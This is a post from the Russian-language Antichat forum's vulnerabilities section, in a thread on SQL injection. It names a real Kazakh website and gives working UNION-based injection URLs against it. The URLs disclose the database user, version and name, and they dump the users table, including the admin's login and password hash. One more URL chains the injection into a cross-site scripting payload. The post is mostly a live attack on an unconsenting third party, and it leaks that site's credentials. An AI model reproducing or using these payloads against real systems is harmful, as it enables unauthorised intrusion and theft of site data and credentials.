SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

#11

08.01.2008, 11:38

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

С нами: 10065986

Репутация: 785

turkystan.kz

Код HTML:

http://www.turkystan.kz/page.php?page_id=36&id=-1526+union+select+0,USER(),VERSION(),DATABASE()/*

USER:turkesdb@hosting.isd.kz
VERSION:4.1.22
DATABASE:turkesdb

Код HTML:

http://www.turkystan.kz/page.php?page_id=36&id=-1526+union+select+0,concat(ID,0x3a,login,0x3a,password),2,3+from+users/*

Таблица - users
Поля - id,login,password

1:admin:51a71aa84f5e79ad

XSS через SQL)

Код HTML:

http://www.turkystan.kz/page.php?page_id=36&id=-1526+union+select+0,'%3Cscript%3Ealert(/XSS/)%3C/script%3E',2,3+from+users/*

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход

Home